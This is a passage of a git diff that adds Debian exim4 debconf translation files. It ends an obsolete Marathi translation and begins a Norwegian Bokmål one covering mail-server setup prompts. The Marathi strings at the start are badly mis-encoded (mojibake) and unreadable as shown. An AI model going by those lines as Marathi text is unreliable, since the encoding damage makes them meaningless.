+#~ "परिवरà¥à¤¤à¤¿à¤¤ करणà¥à¤¯à¤¾à¤¸à¤¾à¤ à¥€ अधिषà¥à¤Ÿà¤¾à¤ªà¤¨à¥‡à¤¨à¤‚तर आपण à¤à¤•à¥à¤à¤¿à¤®_परिवरà¥à¤¤à¤¨à¥ªà¤°à¥ª(८) टूल वापरू शकता. अधिक "
+#~ "माहितीसाठी /वापरकरà¥à¤¤à¤¾/सामायिक/दसà¥à¤¤à¤¾à¤µà¥‡à¤œ/à¤à¤•à¥à¤à¤¿à¤®à¥ª-पाया/उदाहरणे/उदाहरण.रचना.जीà¤à¥‡à¤¡ "
+#~ "आणी /वापरकरà¥à¤¤à¤¾/सामायिक/दसà¥à¤¤à¤¾à¤µà¥‡à¤œ/à¤à¤•à¥à¤à¤¿à¤®à¥ª-पाया/माहितीवाचा.डेबियन.जीà¤à¥‡à¤¡ पहा!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr "आपली टपाल पà¥à¤°à¤£à¤¾à¤²à¥€ संरचित होईपरà¥à¤¯à¤‚त ते मोडलेले राहील, व वापरता येणार नाही."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "पà¥à¤¨à¤°à¥à¤²à¥‡à¤–नामà¥à¤³à¥‡ लपवला गेला नसलà¥à¤¯à¤¾à¤¸, आपले \"टपाल नाव\" हा बाहेर पाठवणà¥à¤¯à¤¾à¤šà¥à¤¯à¤¾ वारà¥à¤¤à¤¾ व "
+#~ "पतà¥à¤° संदेशांचà¥à¤¯à¤¾ पतà¥à¤¤à¥à¤¯à¤¾à¤®à¤§à¥€à¤² यजमान-नाव (वापरकरà¥à¤¤à¤¾-नाव व @ चिनà¥à¤¹à¤¾à¤¨à¤‚तर येणारा) भाग आहे."
+
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by colons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "अजून काही असलà¥à¤¯à¤¾à¤¸ विसरà¥à¤—ांनी वेगळे करून तà¥à¤¯à¤¾à¤‚ची इथे नोंद करा. नसलà¥à¤¯à¤¾à¤¸, आपण हे कà¥à¤·à¥‡à¤¤à¥à¤° "
+#~ "रिकामे ठेऊ शकता."
+
+#~ msgid ""
+#~ "Please enter here the domains for which you accept to relay the mail."
+#~ msgstr "आपण टपाल रीले करणà¥à¤¯à¤¾à¤¸à¤¾à¤ à¥€ सà¥à¤µà¥€à¤•à¤¾à¤°à¤²à¥‡à¤²à¥à¤¯à¤¾ डोमेनसà¥à¤šà¥€ इथे नोंद करा."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "ही अशी डोमेनसॠआहेत, जà¥à¤¯à¤¾à¤‚साठी आपण महाजालावर कोठूनही टपाल सà¥à¤µà¥€à¤•à¤¾à¤°à¤£à¥à¤¯à¤¾à¤¸ तयार आहात. "
+#~ "इथे सà¥à¤¥à¤¾à¤¨à¤¿à¤• डोमेनसà¥à¤šà¥€ नोंद करू नका."
+
+#~ msgid ""
+#~ "The domains you enter here should be separated by colons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "आपण इथे नोंदणारी डोमेनसॠविसरà¥à¤—ांनी वेगळी केली पाहिजेत. वाइलà¥à¤¡à¤•à¤¾à¤°à¥à¤¡à¤¾à¤‚चा वापर करता येइल."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr "आपण टपाल रीले करणà¥à¤¯à¤¾à¤¸à¤¾à¤ à¥€ सà¥à¤µà¥€à¤•à¤¾à¤°à¤²à¥‡à¤²à¥à¤¯à¤¾ सà¥à¤¥à¤¾à¤¨à¤¿à¤• संगणक जाळà¥à¤¯à¤¾à¤‚ची इथे नोंद करा."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "आपलà¥à¤¯à¤¾à¤²à¤¾ सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿ मà¥à¤¹à¤£à¥‚न वापरतील अशा मशीनसà¥à¤šà¥€ यादी येथे समाविषà¥à¤Ÿ केली पाहिजे."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr "आयपीवà¥à¤¹à¥€à¥¬ पतà¥à¤¤à¥à¤¯à¤¾à¤‚मधील विसरà¥à¤— दà¥à¤ªà¥à¤ªà¤Ÿ करा. (उदा. ५à¤à¤«à¥¦à¥©::१२००::८३६à¤à¤«::::/४८)"
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "आपण बाहेर जाणाऱà¥à¤¯à¤¾ टपालात सà¥à¤¥à¤¾à¤¨à¤¿à¤• टपालनाव लपवणà¥à¤¯à¤¾à¤šà¤¾ परà¥à¤¯à¤¾à¤¯ कारà¥à¤¯à¤¸à¤•à¥à¤·à¤® केला "
+#~ "असलà¥à¤¯à¤¾à¤¨à¥‡, तà¥à¤®à¥à¤¹à¤¾à¤²à¤¾ सà¥à¤¥à¤¾à¤¨à¤¿à¤• वापरकरà¥à¤¤à¥à¤¯à¤¾à¤•à¤¡à¥‚न येणाऱà¥à¤¯à¤¾ टपालासाठी वापरायचे डोमेन नाव "
+#~ "निरà¥à¤§à¤¾à¤°à¤¿à¤¤ करणे आवशà¥à¤¯à¤• आहे; साधारणपणे आपण सामानà¥à¤¯à¤¤à¤ƒ टपाल सà¥à¤µà¥€à¤•à¤¾à¤°à¤£à¥à¤¯à¤¾à¤•à¤°à¤¿à¤¤à¤¾ जे मशीन "
+#~ "वापरता, ते हे आहे."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "आपले वापरकरà¥à¤¤à¥‡ हे टपाल कोठे वाचतील?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "या यजमानाकरिता बाहेर जाणारे टपाल हाताळणारे मशीन (सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿ):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr "जà¥à¤¯à¤¾ मशीनकडे बाहेर जाणारे टपाल पाठवायचे, तà¥à¤¯à¤¾à¤šà¥‡ यजमाननाव दà¥à¤¯à¤¾."
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "ऎकणà¥à¤¯à¤¾à¤•à¤°à¤¿à¤¤à¤¾ विसरà¥à¤—ांनी वेगळे केलेलà¥à¤¯à¤¾ आयपीवà¥à¤¹à¥€à¥¬ पतà¥à¤¤à¥à¤¯à¤¾à¤‚ची यादी येथे दà¥à¤¯à¤¾. तà¥à¤®à¥à¤¹à¤¾à¤²à¤¾ "
+#~ "आयपीवà¥à¤¹à¥€à¥¬ पतà¥à¤¤à¥à¤¯à¤¾à¤‚मधील विसरà¥à¤— दà¥à¤ªà¥à¤ªà¤Ÿ करणे गरजेचे आहे. (उदा. ५à¤à¤«à¥¦à¥©::१२००::८३६à¤à¤«::::)."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "आपण डायल-आॅन-डिमांड वापरत असलà¥à¤¯à¤¾à¤¸ हे वैशिषà¥à¤Ÿà¥à¤¯ कारà¥à¤¯à¤¸à¤•à¥à¤·à¤® करा; अनà¥à¤¯à¤¥à¤¾, अकà¥à¤·à¤® करा"
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "à¤à¤•à¥à¤à¤¿à¤® वà¥à¤¹à¥€à¥ª संरचित होत आहे (à¤à¤•à¥à¤à¤¿à¤®à¥ª-रचना)"
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "खातà¥à¤°à¥€ नसलà¥à¤¯à¤¾à¤¸ आपण संरचनेचे विभाजन करू नका."
diff --git a/debian/po/nb.po b/debian/po/nb.po
new file mode 100644
index 0000000..5d37f93
--- /dev/null
+++ b/debian/po/nb.po
@@ -0,0 +1,663 @@
+# translation of exim4-base_nb.po to Norwegian Bokmål <
+# translation of exim4-base_nb.po to Norwegian Bokmål
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+# Developers do not need to manually edit POT or PO files.
+# Steinar H. Gunderson <sgunderson@bigfoot.com>, 2004.
+# Klaus Ade Johnstad <klaus.johnstad@holmlia.gs.oslo.no>, 2004.
+# Klaus Ade Johnstad <klaus@skolelinux.no>, 2004, 2006.
+# Bjørn Steensrud <bjornst@powertech.no>, 2006.
+# Hans Fredrik Nordhaug <hans@nordhaug.priv.no>, 2007.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4-base_nb\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-11-22 14:00+0100\n"
+"Last-Translator: Hans Fredrik Nordhaug <hans@nordhaug.priv.no>\n"
+"Language-Team: Norwegian Bokmål < <i18n-nb@lister.ping.uio.no>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.9.1\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Fjern ikke-levert e-post i køkatalogen?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Det finnes e-post i Exims køkatalog /var/spool/exim4/input/ som ennå ikke er "
+"blitt levert. Sletter du Exim, blir de liggende i køen til Exim er "
+"installert på nytt."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Hvis dette valget ikke er krysset av, blir køkatalogen beholdt, slik at "
+"meldingene i køen kan sendes senere etter at Exim er installert på nytt."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Sett opp exim4-config i stedet for denne pakka"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Oppsett for Exim4 er skilt ut i en egen pakke, exim4-config. Hvis Exim4 skal "
+"settes opp på nytt, bruk «dpkg-reconfigure exim4-config»."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "internett-sted; e-post sendes og mottas direkte med SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "e-post sendt av smartvert; hentes via SMTP eller fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "e-post sendt av smartvert; ingen lokal e-post"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "kun lokal levering; ikke på noe nettverk"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "ingen konfigurering nå"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Overordnet e-post-konfigurasjonstype:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "Velg oppsettstypen som best passer dine mailserver behov."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Systemer med dynamiske IP-adresser, inkludert oppringt-systemer, bør som "
+"regel settes opp til å sende utgående e-post til en annen maskin, en såkalt "
+"«smartvert», for levering, fordi mange mottakende e-postsystemer blokkerer "
+"ankommende post fra dynamiske IP-adresser som beskyttelse mot søppelpost."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Et system med dynamisk IP-adresse kan motta sin egen e-post, ellerha ingen "
+"lokal e-postlevering overhodet, bortsett fra e-post til root og postmaster."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Er du sikker på at du vil la epost-systemet være uten oppsett?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Inntil epost-systemet er satt opp, vil det være ødelagt og kan ikke brukes. "
+"Du kan selvsagt sette det opp seinere, enten for hånd eller ved å kjøre "
+"«dpkg-reconfigure exim4-config» som root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Systemets epost-navn:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"«E-postnavnet» er domenenavnet som brukes til å fylle ut e-postadresser uten "
+"domenenavn."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Dette navnet blir også brukt av andre programmer. Det bør være det eneste, "
+"fulle domenenavnet (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Hvis en e-postadresse på den lokale verten for eksempel er «foo@example."
+"org», så er den riktige verdien som skal brukes her «example.org»."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Dette navnet blir ikke vist på Fra:-linjene på utgående e-post hvis du slår "
+"på omskriving."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Andre mottakere e-post mottas for:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Skriv inn en liste med domener, skilt med semikolon, som denne maskinen skal "
+"betrakte seg som siste mål for. Disse domenene kalles vanligvis «lokale "
+"domener». Det lokale vertsnavnet (${fqdn}) og «localhost» blir alltid lagt "
+"til listen."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Standardvalget er at alle domener blir behandlet likt. Hvis både a.eksempel "
+"og b.eksempel er lokale domener, så blir acc@a.eksempel.com og acc@b."
+"eksempel.com levert til samme endelige mottaker. Hvis du vil at forskjellige "
+"domener skal behandles forskjellig, må du redigere oppsettsfilene etterpå."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domener det skal videresendes e-post for:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Oppgi en liste over mottakerdomener - med semikolon mellom - som dette "
+"systemet vil videresende e-post til, for eksempel som reserve-MX eller e-"
+"post-portner. Dette betyr at dette systemet vil ta imot e-post til disse "
+"domenene fra hvor som helst på Internett og levere dem ifølge lokale "
+"leveringsregler."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Ikke oppgi lokale domener her. Jokertegn kan brukes."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Maskiner det skal videresendes e-post for:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Oppgi en liste over IP-adresseområder, skilt med semikolon, som dette "
+"systemet betingelsesløst vil videresende e-post for, fungerende som "
+"smartvert."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Du bør bruke det vanlige adresse/lengde-formatet (f.eks. 194.222.242.0/24 "
+"eller 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Hvis dette systemet ikke skal være smartvert for noen andre systemer, så la "
+"lista være tom."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Synlig domenenavn for lokale brukere:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Valget om å skjule det lokale e-postnavnet i utående e-post er slått på. Det "
+"er derfor nødvendig å oppgi det domenenavnet dette systemet skal bruke i "
+"domenedelen av lokale brukeres avsenderadresse."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP-adresse eller vertsnavn for utgående smartvert:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Oppgi IP-adresse eller vertsnavn for en e-posttjener som dette systemet skal "
+"bruke som utgående smartvert. Hvis smartverten bare tar i mot e-post på en "
+"annen port enn TCP/24, så legg til to koloner og portnummeret (f.eks. "
+"smartvert.eksempel::587 eller 192.168.254.254::2525). Kolon i IPv6-adresser "
+"må dobles."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Hvis smartverten krever autentisering, les den Debian spesifikke README-"
+"filen i /usr/share/doc/exim4-base for informasjon om hvordan man setter opp "
+"SMTP-autentisering."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Mottaker for root- og postmaster-epost:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Post til «postmaster», «root» og andre systemkontoer må videresendes til "
+"brukerkontoen til den som er systemadministrator."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Hvis dette står tomt, blir slik e-post lagret i /var/mail/mail, dette "
+"anbefales ikke."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Merk at e-post til «postmaster» bør leses på det systemet den er adressert "
+"til og ikke videresendes til andre systemer, så (minst en av) brukerne du "
+"velger bør ikke ha e-posten sin videresendt fra denne maskinen. Bruk et "
+"«real»- prefiks for å tvinge fram lokal levering."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Om du oppgir flere brukernavn, så må de være skilt med mellomrom."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP-adresser det skal lyttes på etter innkommende SMTP-tilkoblinger:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Oppgi en liste over IP-adresser, atskilt med semikolon. Exims SMTP-nisse vil "
+"lytte på alle IP-adresser oppgitt her."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Hvis du lar denne verdien stå tom, vil Exim lytte etter tilkoblinger på alle "
+"tilgjengelige nettverksgrensesnitt."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Hvis denne maskinen mottar e-post bare fra lokale tjenester (og ikke fra "
+"andre tjenere), bør du forby eksterne tilkoblinger til den lokale Exim "
+"nissen. Slike tjenester inkluderer e-post-programmet ditt (MUA-en din) som "
+"kun snakker mot localhost og for eksempel fetchmail. Eksterne tilkoblinger "
+"er umulig hvis 127.0.0.1 oppgies her, siden dette skrur av lytting på "
+"offentlige nettverksgrensesnitt."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Minimer antall DNS-forespørsler (oppringning-etter-behov)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Vanligvis vil Exim gjøre DNS-oppslag ved oppstart, ved sending og mottak av "
+"e-post, osv. Dette er for logging osv. og for å begrense behovet for "
+"hardkodede verdier i oppsettsfila."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Hvis dette er en maskin uten permanent tilgang til DNS-navnetjenere (f.eks. "
+"Internett-tilgangen er en oppringt linje med oppringning etter behov), kan "
+"dette ha den uønskede konsekvensen at det å starte opp Exim eller å behandle "
+"køen (selv uten noen ventende meldinger) kan aktivere en dyr oppringing."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Dette bør slås på hvis dette systemet bruker oppringing ved behov. Hvis "
+"systemet har Internett-tilgang alltid på, bør dette slås av."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Oppsett av e-post-tjener"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Del oppsettet i mindre filer?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debians exim4-pakker kan enten bruke «uoppdelt oppsett», en enkelt "
+"monolittisk fil (/etc/exim4/exim4.conf.template) eller «oppdelt oppsett» der "
+"omtrent 50 småfiler i /etc/exim4/conf.d/ brukes for å generere det ferdige "
+"oppsettet."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Uoppdelt oppsett er bedre egnet for store endringer og er generelt mer "
+"stabil, mens oppdelt oppsett tilbyr en komfortabel måte å gjøre små "
+"endringer på, men er skjørere og kan brekke hvis den endres uforsiktig."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Oppdelt og uoppdelt oppsett drøftes mer inngående i den Debian spesifikke "
+"README-filen i /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Skjul lokalt postnavn i utgående post?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Hodene i utgående post kan skrives om slik at det ser ut til at den er laget "
+"på et annet system. Hvis dette velges, blir «${mailname}» «localhost» og "
+"«${dc_other_hostnames}» omskrevet i From, Reply-To, Sender og Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox format i /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir-format i hjemmekatalogen"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Leveringsmetode for lokal e-post:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim kan lagre e-post levert lokalt i forskjellige formater. De mest brukte "
